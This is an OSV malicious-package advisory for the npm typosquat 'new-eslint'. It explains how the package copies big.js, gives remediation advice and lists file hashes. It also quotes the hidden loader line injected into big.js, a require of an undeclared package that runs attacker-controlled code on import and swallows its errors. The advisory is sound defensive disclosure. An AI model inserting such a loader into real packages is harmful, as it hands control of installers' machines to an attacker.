MAL-2026-6224

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/new-eslint/MAL-2026-6224.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-6224
Aliases
  • GHSA-8h72-5mvw-5f6r
Published
2026-06-19T14:23:59Z
Modified
2026-08-31T18:31:23Z
Summary
Malicious code in new-eslint (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (6f068a5c7ad1a53c60d794a3b4585418956c176c42b8d5d90855e2ac60962b25)

Package is published as 'new-eslint' but ships a verbatim copy of MikeMcl/big.js, with a hidden loader injected mid-file between P.minus and P.mod in both big.js:605 and big.mjs:605: const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. This require fires whenever a consumer imports or requires the package and silently swallows all errors. The required package ts-eslint-helper is not declared in package.json — the manifest lists a different package, eslint-helper@4.0.1 — so the loaded code is undeclared and attacker-mutable. The README claims 'no dependencies' and describes big.js, while the package name impersonates eslint tooling: classic typosquat lure plus hidden remote-controlled loader. Whatever ts-eslint-helper.from_str() does runs in the installer's process on import with no advertised functionality justifying it.

Source: ghsa-malware (5301d966541d30ed2b6a97b64c70609897b2c685bf0bb2e8eec33605225d4529)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-007067",
            "import_time": "2026-06-19T15:41:55.008216882Z",
            "modified_time": "2026-06-19T14:23:59Z",
            "sha256": "6f068a5c7ad1a53c60d794a3b4585418956c176c42b8d5d90855e2ac60962b25",
            "source": "amazon-inspector",
            "versions": [
                "7.0.5"
            ]
        },
        {
            "id": "GHSA-8h72-5mvw-5f6r",
            "import_time": "2026-08-25T16:26:05.020215551Z",
            "modified_time": "2026-08-25T16:17:10Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "5301d966541d30ed2b6a97b64c70609897b2c685bf0bb2e8eec33605225d4529",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-019249",
            "import_time": "2026-08-31T18:22:26.699799061Z",
            "modified_time": "2026-08-31T17:54:25Z",
            "sha256": "ef66e5403a84eebac1e86259a0b70b45fc82be0674f565be6b2185c943d2e146",
            "source": "amazon-inspector",
            "versions": [
                "7.0.6"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / new-eslint

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

7.*
7.0.5
7.0.6

Database specific

cwes
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "a561aa99a23974fceafd4b2bc8eb050fe3159a0328fd73ea8e3e1bc599e288cb",
            "tlsh": "0921f267c9a19db70af85b98b8ac43aaf1151b1f01a14c5bb07b131c4b3345b2096bbd"
        },
        {
            "path": "big.js",
            "sha256": "d1f1baf7ef7571122bd26e3676d6f2dcf7cc7fd7dc9cdec4c3b75535ad0e3bbf",
            "tlsh": "9cc2658c3ac67579593363788f465088eb38525712c8b286b4ae62b46f78cb107b4fdc"
        }
    ],
    "package_integrity": [
        {
            "filename": "new-eslint-7.0.5.tgz",
            "hashes": {
                "sha1": "5caff974ef503bc10fb120958e1b78330bae7c02",
                "sha512_sri": "sha512-IihA49/Cnl7beKKA/JFi/8TjMLCEtL4GjE2qZ31odOxQPNV5KxZA/8n9xfjIc3ZzYlFjVXS73unbfEtRGuCShQ=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/new-eslint/MAL-2026-6224.json"